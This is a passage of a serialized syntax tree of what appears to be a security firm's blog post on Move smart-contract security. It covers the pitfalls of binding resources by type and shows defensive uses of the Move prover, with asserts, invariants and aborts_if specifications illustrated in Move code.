props":18504,"children":18505},{"emptyLinePlaceholder":15},[18506],{"type":29,"value":276},{"type":23,"tag":75,"props":18508,"children":18509},{"class":77,"line":270},[18510,18515,18519,18523,18527,18531,18535,18539],{"type":23,"tag":75,"props":18511,"children":18512},{"style":88},[18513],{"type":29,"value":18514},"      move_to",{"type":23,"tag":75,"props":18516,"children":18517},{"style":94},[18518],{"type":29,"value":643},{"type":23,"tag":75,"props":18520,"children":18521},{"style":110},[18522],{"type":29,"value":18480},{"type":23,"tag":75,"props":18524,"children":18525},{"style":94},[18526],{"type":29,"value":611},{"type":23,"tag":75,"props":18528,"children":18529},{"style":104},[18530],{"type":29,"value":18067},{"type":23,"tag":75,"props":18532,"children":18533},{"style":94},[18534],{"type":29,"value":295},{"type":23,"tag":75,"props":18536,"children":18537},{"style":104},[18538],{"type":29,"value":18166},{"type":23,"tag":75,"props":18540,"children":18541},{"style":94},[18542],{"type":29,"value":1175},{"type":23,"tag":75,"props":18544,"children":18545},{"class":77,"line":279},[18546],{"type":23,"tag":75,"props":18547,"children":18548},{"style":3621},[18549],{"type":29,"value":17442},{"type":23,"tag":75,"props":18551,"children":18552},{"class":77,"line":303},[18553],{"type":23,"tag":75,"props":18554,"children":18555},{"style":94},[18556],{"type":29,"value":18557},"      });\n",{"type":23,"tag":32,"props":18559,"children":18560},{},[18561],{"type":29,"value":18562},"In both these instances, type association only works because we create exactly one instance per type.",{"type":23,"tag":32,"props":18564,"children":18565},{},[18566,18568,18574,18575,18581,18583,18588],{"type":29,"value":18567},"On the other hand, consider if you have a ",{"type":23,"tag":71,"props":18569,"children":18571},{"className":18570},[],[18572],{"type":29,"value":18573},"Position\u003CT>",{"type":29,"value":898},{"type":23,"tag":71,"props":18576,"children":18578},{"className":18577},[],[18579],{"type":29,"value":18580},"Market\u003CT>",{"type":29,"value":18582}," where ",{"type":23,"tag":71,"props":18584,"children":18586},{"className":18585},[],[18587],{"type":29,"value":17255},{"type":29,"value":18589}," is the coin type.",{"type":23,"tag":64,"props":18591,"children":18593},{"className":987,"code":18592,"language":986,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[18594],{"type":23,"tag":71,"props":18595,"children":18596},{"__ignoreMap":7},[18597,18625,18653,18660,18667,18674,18701,18721,18728],{"type":23,"tag":75,"props":18598,"children":18599},{"class":77,"line":78},[18600,18604,18609,18613,18617,18621],{"type":23,"tag":75,"props":18601,"children":18602},{"style":82},[18603],{"type":29,"value":17320},{"type":23,"tag":75,"props":18605,"children":18606},{"style":104},[18607],{"type":29,"value":18608}," Market",{"type":23,"tag":75,"props":18610,"children":18611},{"style":94},[18612],{"type":29,"value":295},{"type":23,"tag":75,"props":18614,"children":18615},{"style":110},[18616],{"type":29,"value":17081},{"type":23,"tag":75,"props":18618,"children":18619},{"style":104},[18620],{"type":29,"value":17188},{"type":23,"tag":75,"props":18622,"children":18623},{"style":94},[18624],{"type":29,"value":1175},{"type":23,"tag":75,"props":18626,"children":18627},{"class":77,"line":100},[18628,18633,18637,18641,18645,18649],{"type":23,"tag":75,"props":18629,"children":18630},{"style":110},[18631],{"type":29,"value":18632},"        reserves",{"type":23,"tag":75,"props":18634,"children":18635},{"style":209},[18636],{"type":29,"value":1018},{"type":23,"tag":75,"props":18638,"children":18639},{"style":104},[18640],{"type":29,"value":17072},{"type":23,"tag":75,"props":18642,"children":18643},{"style":94},[18644],{"type":29,"value":295},{"type":23,"tag":75,"props":18646,"children":18647},{"style":104},[18648],{"type":29,"value":17255},{"type":23,"tag":75,"props":18650,"children":18651},{"style":94},[18652],{"type":29,"value":1114},{"type":23,"tag":75,"props":18654,"children":18655},{"class":77,"line":121},[18656],{"type":23,"tag":75,"props":18657,"children":18658},{"style":3621},[18659],{"type":29,"value":17442},{"type":23,"tag":75,"props":18661,"children":18662},{"class":77,"line":138},[18663],{"type":23,"tag":75,"props":18664,"children":18665},{"style":94},[18666],{"type":29,"value":346},{"type":23,"tag":75,"props":18668,"children":18669},{"class":77,"line":161},[18670],{"type":23,"tag":75,"props":18671,"children":18672},{"emptyLinePlaceholder":15},[18673],{"type":29,"value":276},{"type":23,"tag":75,"props":18675,"children":18676},{"class":77,"line":196},[18677,18681,18685,18689,18693,18697],{"type":23,"tag":75,"props":18678,"children":18679},{"style":82},[18680],{"type":29,"value":17320},{"type":23,"tag":75,"props":18682,"children":18683},{"style":104},[18684],{"type":29,"value":9460},{"type":23,"tag":75,"props":18686,"children":18687},{"style":94},[18688],{"type":29,"value":295},{"type":23,"tag":75,"props":18690,"children":18691},{"style":110},[18692],{"type":29,"value":17081},{"type":23,"tag":75,"props":18694,"children":18695},{"style":104},[18696],{"type":29,"value":17188},{"type":23,"tag":75,"props":18698,"children":18699},{"style":94},[18700],{"type":29,"value":1175},{"type":23,"tag":75,"props":18702,"children":18703},{"class":77,"line":220},[18704,18709,18713,18717],{"type":23,"tag":75,"props":18705,"children":18706},{"style":110},[18707],{"type":29,"value":18708},"        amount",{"type":23,"tag":75,"props":18710,"children":18711},{"style":209},[18712],{"type":29,"value":1018},{"type":23,"tag":75,"props":18714,"children":18715},{"style":104},[18716],{"type":29,"value":17129},{"type":23,"tag":75,"props":18718,"children":18719},{"style":94},[18720],{"type":29,"value":118},{"type":23,"tag":75,"props":18722,"children":18723},{"class":77,"line":248},[18724],{"type":23,"tag":75,"props":18725,"children":18726},{"style":3621},[18727],{"type":29,"value":17442},{"type":23,"tag":75,"props":18729,"children":18730},{"class":77,"line":270},[18731],{"type":23,"tag":75,"props":18732,"children":18733},{"style":94},[18734],{"type":29,"value":346},{"type":23,"tag":32,"props":18736,"children":18737},{},[18738,18740,18745,18747,18752],{"type":29,"value":18739},"If ",{"type":23,"tag":71,"props":18741,"children":18743},{"className":18742},[],[18744],{"type":29,"value":18580},{"type":29,"value":18746}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":23,"tag":71,"props":18748,"children":18750},{"className":18749},[],[18751],{"type":29,"value":17255},{"type":29,"value":18753}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":23,"tag":32,"props":18755,"children":18756},{},[18757],{"type":29,"value":18758},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":23,"tag":64,"props":18760,"children":18762},{"className":987,"code":18761,"language":986,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[18763],{"type":23,"tag":71,"props":18764,"children":18765},{"__ignoreMap":7},[18766,18774,18836,18885,18937,18962,18974,18995,19003,19016],{"type":23,"tag":75,"props":18767,"children":18768},{"class":77,"line":78},[18769],{"type":23,"tag":75,"props":18770,"children":18771},{"style":3621},[18772],{"type":29,"value":18773},"    /// Get the price of the token per lamport.\n",{"type":23,"tag":75,"props":18775,"children":18776},{"class":77,"line":100},[18777,18782,18786,18791,18795,18800,18804,18809,18813,18817,18822,18827,18832],{"type":23,"tag":75,"props":18778,"children":18779},{"style":110},[18780],{"type":29,"value":18781},"    public",{"type":23,"tag":75,"props":18783,"children":18784},{"style":110},[18785],{"type":29,"value":17474},{"type":23,"tag":75,"props":18787,"children":18788},{"style":88},[18789],{"type":29,"value":18790}," get_price",{"type":23,"tag":75,"props":18792,"children":18793},{"style":94},[18794],{"type":29,"value":643},{"type":23,"tag":75,"props":18796,"children":18797},{"style":110},[18798],{"type":29,"value":18799},"type_info",{"type":23,"tag":75,"props":18801,"children":18802},{"style":209},[18803],{"type":29,"value":1018},{"type":23,"tag":75,"props":18805,"children":18806},{"style":104},[18807],{"type":29,"value":18808}," TypeInfo",{"type":23,"tag":75,"props":18810,"children":18811},{"style":94},[18812],{"type":29,"value":1347},{"type":23,"tag":75,"props":18814,"children":18815},{"style":209},[18816],{"type":29,"value":1018},{"type":23,"tag":75,"props":18818,"children":18819},{"style":104},[18820],{"type":29,"value":18821}," Decimal",{"type":23,"tag":75,"props":18823,"children":18824},{"style":110},[18825],{"type":29,"value":18826}," acquires",{"type":23,"tag":75,"props":18828,"children":18829},{"style":104},[18830],{"type":29,"value":18831}," Oracle",{"type":23,"tag":75,"props":18833,"children":18834},{"style":94},[18835],{"type":29,"value":401},{"type":23,"tag":75,"props":18837,"children":18838},{"class":77,"line":121},[18839,18843,18848,18852,18857,18861,18866,18871,18876,18881],{"type":23,"tag":75,"props":18840,"children":18841},{"style":82},[18842],{"type":29,"value":14352},{"type":23,"tag":75,"props":18844,"children":18845},{"style":110},[18846],{"type":29,"value":18847}," oracle",{"type":23,"tag":75,"props":18849,"children":18850},{"style":209},[18851],{"type":29,"value":1193},{"type":23,"tag":75,"props":18853,"children":18854},{"style":110},[18855],{"type":29,"value":18856}," borrow_global_mut",{"type":23,"tag":75,"props":18858,"children":18859},{"style":94},[18860],{"type":29,"value":295},{"type":23,"tag":75,"props":18862,"children":18863},{"style":104},[18864],{"type":29,"value":18865},"Oracle",{"type":23,"tag":75,"props":18867,"children":18868},{"style":94},[18869],{"type":29,"value":18870},">(",{"type":23,"tag":75,"props":18872,"children":18873},{"style":209},[18874],{"type":29,"value":18875},"@",{"type":23,"tag":75,"props":18877,"children":18878},{"style":110},[18879],{"type":29,"value":18880},"oracle",{"type":23,"tag":75,"props":18882,"children":18883},{"style":94},[18884],{"type":29,"value":15099},{"type":23,"tag":75,"props":18886,"children":18887},{"class":77,"line":138},[18888,18892,18897,18901,18906,18910,18915,18919,18924,18928,18933],{"type":23,"tag":75,"props":18889,"children":18890},{"style":82},[18891],{"type":29,"value":14352},{"type":23,"tag":75,"props":18893,"children":18894},{"style":110},[18895],{"type":29,"value":18896}," price",{"type":23,"tag":75,"props":18898,"children":18899},{"style":209},[18900],{"type":29,"value":1193},{"type":23,"tag":75,"props":18902,"children":18903},{"style":94},[18904],{"type":29,"value":18905}," table",{"type":23,"tag":75,"props":18907,"children":18908},{"style":209},[18909],{"type":29,"value":1407},{"type":23,"tag":75,"props":18911,"children":18912},{"style":110},[18913],{"type":29,"value":18914},"borrow_mut_with_default",{"type":23,"tag":75,"props":18916,"children":18917},{"style":94},[18918],{"type":29,"value":295},{"type":23,"tag":75,"props":18920,"children":18921},{"style":104},[18922],{"type":29,"value":18923},"TypeInfo",{"type":23,"tag":75,"props":18925,"children":18926},{"style":94},[18927],{"type":29,"value":611},{"type":23,"tag":75,"props":18929,"children":18930},{"style":104},[18931],{"type":29,"value":18932},"Decimal",{"type":23,"tag":75,"props":18934,"children":18935},{"style":94},[18936],{"type":29,"value":1064},{"type":23,"tag":75,"props":18938,"children":18939},{"class":77,"line":161},[18940,18945,18949,18953,18957],{"type":23,"tag":75,"props":18941,"children":18942},{"style":209},[18943],{"type":29,"value":18944},"            &",{"type":23,"tag":75,"props":18946,"children":18947},{"style":82},[18948],{"type":29,"value":14998},{"type":23,"tag":75,"props":18950,"children":18951},{"style":110},[18952],{"type":29,"value":18847},{"type":23,"tag":75,"props":18954,"children":18955},{"style":209},[18956],{"type":29,"value":557},{"type":23,"tag":75,"props":18958,"children":18959},{"style":94},[18960],{"type":29,"value":18961},"prices,\n",{"type":23,"tag":75,"props":18963,"children":18964},{"class":77,"line":196},[18965,18970],{"type":23,"tag":75,"props":18966,"children":18967},{"style":110},[18968],{"type":29,"value":18969},"            type_info",{"type":23,"tag":75,"props":18971,"children":18972},{"style":94},[18973],{"type":29,"value":118},{"type":23,"tag":75,"props":18975,"children":18976},{"class":77,"line":220},[18977,18982,18986,18991],{"type":23,"tag":75,"props":18978,"children":18979},{"style":94},[18980],{"type":29,"value":18981},"            decimal",{"type":23,"tag":75,"props":18983,"children":18984},{"style":209},[18985],{"type":29,"value":1407},{"type":23,"tag":75,"props":18987,"children":18988},{"style":88},[18989],{"type":29,"value":18990},"one",{"type":23,"tag":75,"props":18992,"children":18993},{"style":94},[18994],{"type":29,"value":3249},{"type":23,"tag":75,"props":18996,"children":18997},{"class":77,"line":248},[18998],{"type":23,"tag":75,"props":18999,"children":19000},{"style":94},[19001],{"type":29,"value":19002},"        );\n",{"type":23,"tag":75,"props":19004,"children":19005},{"class":77,"line":270},[19006,19011],{"type":23,"tag":75,"props":19007,"children":19008},{"style":209},[19009],{"type":29,"value":19010},"        *",{"type":23,"tag":75,"props":19012,"children":19013},{"style":110},[19014],{"type":29,"value":19015},"price\n",{"type":23,"tag":75,"props":19017,"children":19018},{"class":77,"line":279},[19019],{"type":23,"tag":75,"props":19020,"children":19021},{"style":94},[19022],{"type":29,"value":346},{"type":23,"tag":32,"props":19024,"children":19025},{},[19026,19028,19033],{"type":29,"value":19027},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":23,"tag":9690,"props":19029,"children":19030},{},[19031],{"type":29,"value":19032},"instance",{"type":29,"value":19034}," of another resource (which is possible in Diem style move).",{"type":23,"tag":32,"props":19036,"children":19037},{},[19038],{"type":29,"value":19039},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":23,"tag":2797,"props":19041,"children":19042},{},[19043,19048],{"type":23,"tag":2801,"props":19044,"children":19045},{},[19046],{"type":29,"value":19047},"Have unique initializers for your resources",{"type":23,"tag":2801,"props":19049,"children":19050},{},[19051],{"type":29,"value":19052},"Associate resources with instances directly",{"type":23,"tag":24,"props":19054,"children":19056},{"id":19055},"formal-verification",[19057],{"type":29,"value":19058},"Formal Verification",{"type":23,"tag":32,"props":19060,"children":19061},{},[19062],{"type":29,"value":19063},"Formal verification is another exciting feature.",{"type":23,"tag":32,"props":19065,"children":19066},{},[19067],{"type":29,"value":19068},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":23,"tag":32,"props":19070,"children":19071},{},[19072,19074,19079],{"type":29,"value":19073},"However, this isn't a silver bullet. The key is figuring out ",{"type":23,"tag":9690,"props":19075,"children":19076},{},[19077],{"type":29,"value":19078},"what",{"type":29,"value":19080}," to prove.",{"type":23,"tag":32,"props":19082,"children":19083},{},[19084,19086,19093],{"type":29,"value":19085},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":23,"tag":940,"props":19087,"children":19090},{"href":19088,"rel":19089},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[944],[19091],{"type":29,"value":19092},"Solana AMM rounding issue",{"type":29,"value":19094}," we reported.",{"type":23,"tag":32,"props":19096,"children":19097},{},[19098],{"type":29,"value":19099},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":23,"tag":64,"props":19101,"children":19103},{"className":987,"code":19102,"language":986,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[19104],{"type":23,"tag":71,"props":19105,"children":19106},{"__ignoreMap":7},[19107,19168],{"type":23,"tag":75,"props":19108,"children":19109},{"class":77,"line":78},[19110,19115,19120,19124,19129,19133,19138,19142,19146,19151,19155,19159,19164],{"type":23,"tag":75,"props":19111,"children":19112},{"style":82},[19113],{"type":29,"value":19114},"  let",{"type":23,"tag":75,"props":19116,"children":19117},{"style":110},[19118],{"type":29,"value":19119}," cmp",{"type":23,"tag":75,"props":19121,"children":19122},{"style":209},[19123],{"type":29,"value":1193},{"type":23,"tag":75,"props":19125,"children":19126},{"style":94},[19127],{"type":29,"value":19128}," u256",{"type":23,"tag":75,"props":19130,"children":19131},{"style":209},[19132],{"type":29,"value":1407},{"type":23,"tag":75,"props":19134,"children":19135},{"style":88},[19136],{"type":29,"value":19137},"compare",{"type":23,"tag":75,"props":19139,"children":19140},{"style":94},[19141],{"type":29,"value":643},{"type":23,"tag":75,"props":19143,"children":19144},{"style":209},[19145],{"type":29,"value":1277},{"type":23,"tag":75,"props":19147,"children":19148},{"style":110},[19149],{"type":29,"value":19150},"lp_value_after_swap_and_fee",{"type":23,"tag":75,"props":19152,"children":19153},{"style":94},[19154],{"type":29,"value":611},{"type":23,"tag":75,"props":19156,"children":19157},{"style":209},[19158],{"type":29,"value":1277},{"type":23,"tag":75,"props":19160,"children":19161},{"style":110},[19162],{"type":29,"value":19163},"lp_value_before_swap_u256",{"type":23,"tag":75,"props":19165,"children":19166},{"style":94},[19167],{"type":29,"value":15099},{"type":23,"tag":75,"props":19169,"children":19170},{"class":77,"line":100},[19171,19176,19180,19185,19189,19194],{"type":23,"tag":75,"props":19172,"children":19173},{"style":88},[19174],{"type":29,"value":19175},"  assert!",{"type":23,"tag":75,"props":19177,"children":19178},{"style":94},[19179],{"type":29,"value":643},{"type":23,"tag":75,"props":19181,"children":19182},{"style":110},[19183],{"type":29,"value":19184},"cmp",{"type":23,"tag":75,"props":19186,"children":19187},{"style":209},[19188],{"type":29,"value":1372},{"type":23,"tag":75,"props":19190,"children":19191},{"style":237},[19192],{"type":29,"value":19193}," 2",{"type":23,"tag":75,"props":19195,"children":19196},{"style":94},[19197],{"type":29,"value":19198},", ERR_INCORRECT_SWAP);\n",{"type":23,"tag":32,"props":19200,"children":19201},{},[19202,19204,19209],{"type":29,"value":19203},"The move prover really shines when we're proving relationships ",{"type":23,"tag":9690,"props":19205,"children":19206},{},[19207],{"type":29,"value":19208},"between",{"type":29,"value":19210}," functions.",{"type":23,"tag":32,"props":19212,"children":19213},{},[19214,19216,19222],{"type":29,"value":19215},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":23,"tag":71,"props":19217,"children":19219},{"className":19218},[],[19220],{"type":29,"value":19221},"no_free_money_theorem",{"type":29,"value":19223}," in the move repository.",{"type":23,"tag":64,"props":19225,"children":19227},{"className":987,"code":19226,"language":986,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[19228],{"type":23,"tag":71,"props":19229,"children":19230},{"__ignoreMap":7},[19231,19239,19327,19369,19390,19397,19413,19439,19466,19491],{"type":23,"tag":75,"props":19232,"children":19233},{"class":77,"line":78},[19234],{"type":23,"tag":75,"props":19235,"children":19236},{"style":3621},[19237],{"type":29,"value":19238},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":23,"tag":75,"props":19240,"children":19241},{"class":77,"line":100},[19242,19246,19251,19255,19260,19264,19268,19272,19277,19281,19285,19289,19293,19297,19302,19306,19310,19314,19318,19323],{"type":23,"tag":75,"props":19243,"children":19244},{"style":110},[19245],{"type":29,"value":17835},{"type":23,"tag":75,"props":19247,"children":19248},{"style":88},[19249],{"type":29,"value":19250}," no_free_money_theorem",{"type":23,"tag":75,"props":19252,"children":19253},{"style":94},[19254],{"type":29,"value":643},{"type":23,"tag":75,"props":19256,"children":19257},{"style":110},[19258],{"type":29,"value":19259},"coin1_in",{"type":23,"tag":75,"props":19261,"children":19262},{"style":209},[19263],{"type":29,"value":1018},{"type":23,"tag":75,"props":19265,"children":19266},{"style":104},[19267],{"type":29,"value":17129},{"type":23,"tag":75,"props":19269,"children":19270},{"style":94},[19271],{"type":29,"value":611},{"type":23,"tag":75,"props":19273,"children":19274},{"style":110},[19275],{"type":29,"value":19276},"coin2_in",{"type":23,"tag":75,"props":19278,"children":19279},{"style":209},[19280],{"type":29,"value":1018},{"type":23,"tag":75,"props":19282,"children":19283},{"style":104},[19284],{"type":29,"value":17129},{"type":23,"tag":75,"props":19286,"children":19287},{"style":94},[19288],{"type":29,"value":1347},{"type":23,"tag":75,"props":19290,"children":19291},{"style":209},[19292],{"type":29,"value":1018},{"type":23,"tag":75,"props":19294,"children":19295},{"style":94},[19296],{"type":29,"value":183},{"type":23,"tag":75,"props":19298,"children":19299},{"style":104},[19300],{"type":29,"value":19301},"u64",{"type":23,"tag":75,"props":19303,"children":19304},{"style":94},[19305],{"type":29,"value":611},{"type":23,"tag":75,"props":19307,"children":19308},{"style":104},[19309],{"type":29,"value":19301},{"type":23,"tag":75,"props":19311,"children":19312},{"style":94},[19313],{"type":29,"value":167},{"type":23,"tag":75,"props":19315,"children":19316},{"style":110},[19317],{"type":29,"value":17611},{"type":23,"tag":75,"props":19319,"children":19320},{"style":104},[19321],{"type":29,"value":19322}," Pool",{"type":23,"tag":75,"props":19324,"children":19325},{"style":94},[19326],{"type":29,"value":401},{"type":23,"tag":75,"props":19328,"children":19329},{"class":77,"line":121},[19330,19335,19340,19344,19349,19353,19357,19361,19365],{"type":23,"tag":75,"props":19331,"children":19332},{"style":82},[19333],{"type":29,"value":19334},"      let",{"type":23,"tag":75,"props":19336,"children":19337},{"style":110},[19338],{"type":29,"value":19339}," share",{"type":23,"tag":75,"props":19341,"children":19342},{"style":209},[19343],{"type":29,"value":1193},{"type":23,"tag":75,"props":19345,"children":19346},{"style":88},[19347],{"type":29,"value":19348}," add_liquidity",{"type":23,"tag":75,"props":19350,"children":19351},{"style":94},[19352],{"type":29,"value":643},{"type":23,"tag":75,"props":19354,"children":19355},{"style":110},[19356],{"type":29,"value":19259},{"type":23,"tag":75,"props":19358,"children":19359},{"style":94},[19360],{"type":29,"value":611},{"type":23,"tag":75,"props":19362,"children":19363},{"style":110},[19364],{"type":29,"value":19276},{"type":23,"tag":75,"props":19366,"children":19367},{"style":94},[19368],{"type":29,"value":15099},{"type":23,"tag":75,"props":19370,"children":19371},{"class":77,"line":138},[19372,19377,19381,19386],{"type":23,"tag":75,"props":19373,"children":19374},{"style":88},[19375],{"type":29,"value":19376},"      remove_liquidity",{"type":23,"tag":75,"props":19378,"children":19379},{"style":94},[19380],{"type":29,"value":643},{"type":23,"tag":75,"props":19382,"children":19383},{"style":110},[19384],{"type":29,"value":19385},"share",{"type":23,"tag":75,"props":19387,"children":19388},{"style":94},[19389],{"type":29,"value":653},{"type":23,"tag":75,"props":19391,"children":19392},{"class":77,"line":161},[19393],{"type":23,"tag":75,"props":19394,"children":19395},{"style":94},[19396],{"type":29,"value":17141},{"type":23,"tag":75,"props":19398,"children":19399},{"class":77,"line":196},[19400,19405,19409],{"type":23,"tag":75,"props":19401,"children":19402},{"style":110},[19403],{"type":29,"value":19404},"  spec",{"type":23,"tag":75,"props":19406,"children":19407},{"style":110},[19408],{"type":29,"value":19250},{"type":23,"tag":75,"props":19410,"children":19411},{"style":94},[19412],{"type":29,"value":401},{"type":23,"tag":75,"props":19414,"children":19415},{"class":77,"line":220},[19416,19421,19426,19430,19435],{"type":23,"tag":75,"props":19417,"children":19418},{"style":110},[19419],{"type":29,"value":19420},"      pragma",{"type":23,"tag":75,"props":19422,"children":19423},{"style":110},[19424],{"type":29,"value":19425}," verify",{"type":23,"tag":75,"props":19427,"children":19428},{"style":209},[19429],{"type":29,"value":212},{"type":23,"tag":75,"props":19431,"children":19432},{"style":82},[19433],{"type":29,"value":19434},"false",{"type":23,"tag":75,"props":19436,"children":19437},{"style":94},[19438],{"type":29,"value":245},{"type":23,"tag":75,"props":19440,"children":19441},{"class":77,"line":248},[19442,19447,19452,19457,19462],{"type":23,"tag":75,"props":19443,"children":19444},{"style":110},[19445],{"type":29,"value":19446},"      ensures",{"type":23,"tag":75,"props":19448,"children":19449},{"style":110},[19450],{"type":29,"value":19451}," result_1",{"type":23,"tag":75,"props":19453,"children":19454},{"style":209},[19455],{"type":29,"value":19456}," \u003C=",{"type":23,"tag":75,"props":19458,"children":19459},{"style":110},[19460],{"type":29,"value":19461}," coin1_in",{"type":23,"tag":75,"props":19463,"children":19464},{"style":94},[19465],{"type":29,"value":245},{"type":23,"tag":75,"props":19467,"children":19468},{"class":77,"line":270},[19469,19473,19478,19482,19487],{"type":23,"tag":75,"props":19470,"children":19471},{"style":110},[19472],{"type":29,"value":19446},{"type":23,"tag":75,"props":19474,"children":19475},{"style":110},[19476],{"type":29,"value":19477}," result_2",{"type":23,"tag":75,"props":19479,"children":19480},{"style":209},[19481],{"type":29,"value":19456},{"type":23,"tag":75,"props":19483,"children":19484},{"style":110},[19485],{"type":29,"value":19486}," coin2_in",{"type":23,"tag":75,"props":19488,"children":19489},{"style":94},[19490],{"type":29,"value":245},{"type":23,"tag":75,"props":19492,"children":19493},{"class":77,"line":279},[19494],{"type":23,"tag":75,"props":19495,"children":19496},{"style":94},[19497],{"type":29,"value":17141},{"type":23,"tag":32,"props":19499,"children":19500},{},[19501],{"type":29,"value":19502},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":23,"tag":32,"props":19504,"children":19505},{},[19506,19508,19513],{"type":29,"value":19507},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":23,"tag":9690,"props":19509,"children":19510},{},[19511],{"type":29,"value":19512},"lot",{"type":29,"value":19514}," easier to reason about the protocol.",{"type":23,"tag":32,"props":19516,"children":19517},{},[19518],{"type":29,"value":19519},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":23,"tag":64,"props":19521,"children":19523},{"className":987,"code":19522,"language":986,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[19524],{"type":23,"tag":71,"props":19525,"children":19526},{"__ignoreMap":7},[19527,19544,19567],{"type":23,"tag":75,"props":19528,"children":19529},{"class":77,"line":78},[19530,19535,19540],{"type":23,"tag":75,"props":19531,"children":19532},{"style":110},[19533],{"type":29,"value":19534},"spec",{"type":23,"tag":75,"props":19536,"children":19537},{"style":104},[19538],{"type":29,"value":19539}," PoolState",{"type":23,"tag":75,"props":19541,"children":19542},{"style":94},[19543],{"type":29,"value":401},{"type":23,"tag":75,"props":19545,"children":19546},{"class":77,"line":100},[19547,19552,19557,19562],{"type":23,"tag":75,"props":19548,"children":19549},{"style":110},[19550],{"type":29,"value":19551},"    invariant",{"type":23,"tag":75,"props":19553,"children":19554},{"style":110},[19555],{"type":29,"value":19556}," supply",{"type":23,"tag":75,"props":19558,"children":19559},{"style":209},[19560],{"type":29,"value":19561}," >=",{"type":23,"tag":75,"props":19563,"children":19564},{"style":94},[19565],{"type":29,"value":19566}," MINIMUM_LIQUIDITY;\n",{"type":23,"tag":75,"props":19568,"children":19569},{"class":77,"line":121},[19570],{"type":23,"tag":75,"props":19571,"children":19572},{"style":94},[19573],{"type":29,"value":369},{"type":23,"tag":32,"props":19575,"children":19576},{},[19577,19579,19585,19587,19593],{"type":29,"value":19578},"Another useful pattern for the Move prover is ",{"type":23,"tag":71,"props":19580,"children":19582},{"className":19581},[],[19583],{"type":29,"value":19584},"aborts_if",{"type":29,"value":19586},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":23,"tag":71,"props":19588,"children":19590},{"className":19589},[],[19591],{"type":29,"value":19592},"aborts_if false",{"type":29,"value":557},{"type":23,"tag":32,"props":19595,"children":19596},{},[19597],{"type":29,"value":19598},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":23,"tag":64,"props":19600,"children":19602},{"className":987,"code":19601,"language":986,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[19603],{"type":23,"tag":71,"props":19604,"children":19605},{"__ignoreMap":7},[19606,19669,19711,19734,19779,19792,19804,19841,19864,19951,19959,19983,19991,20012,20032,20132,20140,20169,20177,20189,20213,20248,20255,20263,20270,20285,20301,20318,20361,20464],{"type":23,"tag":75,"props":19607,"children":19608},{"class":77,"line":78},[19609,19613,19618,19622,19626,19630,19635,19639,19643,19648,19652,19656,19660,19665],{"type":23,"tag":75,"props":19610,"children":19611},{"style":110},[19612],{"type":29,"value":17835},{"type":23,"tag":75,"props":19614,"children":19615},{"style":88},[19616],{"type":29,"value":19617}," multiply_vec_by_n_coins",{"type":23,"tag":75,"props":19619,"children":19620},{"style":94},[19621],{"type":29,"value":643},{"type":23,"tag":75,"props":19623,"children":19624},{"style":110},[19625],{"type":29,"value":1207},{"type":23,"tag":75,"props":19627,"children":19628},{"style":209},[19629],{"type":29,"value":1018},{"type":23,"tag":75,"props":19631,"children":19632},{"style":110},[19633],{"type":29,"value":19634}," 